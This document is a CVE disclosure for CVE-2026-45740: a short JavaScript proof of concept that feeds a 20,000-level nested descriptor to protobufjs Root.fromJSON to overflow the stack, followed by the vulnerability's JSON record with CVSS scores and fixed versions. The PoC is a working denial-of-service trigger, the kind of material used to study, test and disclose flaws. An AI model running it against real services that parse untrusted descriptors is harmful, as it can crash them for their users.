CVE-2026-45740

// PoC for CVE-2026-45740 // This PoC generates a deeply nested JSON object to trigger stack overflow in protobufjs const protobuf = require("protobufjs"); function generateDeepNestedJson(depth) { let nested = {}; let current = nested; for (let i = 0; i < depth; i++) { current.nested = { name: `level_${i}`, fields: {} }; current = current.nested; } return { nested: nested }; } // Generate a payload with recursion depth exceeding typical stack limits const maliciousPayload = generateDeepNestedJson(20000); try { console.log("Attempting to parse malicious JSON..."); // Trigger the vulnerable function protobuf.Root.fromJSON(maliciousPayload); console.log("Parsing completed (unexpected)."); } catch (e) { console.error(`Vulnerability triggered: ${e.message}`); }

{"cve": {"id": "CVE-2026-45740", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:17:00.520", "lastModified": "2026-05-13T20:50:15.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.8 and 8.2.0, protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON(). A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading. This vulnerability is fixed in 7.5.8 and 8.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.8", "matchCriteriaId": "FDA0C570-B2AE-42ED-9D63-B8BF43884A7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.2.0", "matchCriteriaId": "96AF0712-AB3D-4C64-BCE4-75FF461C8710"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}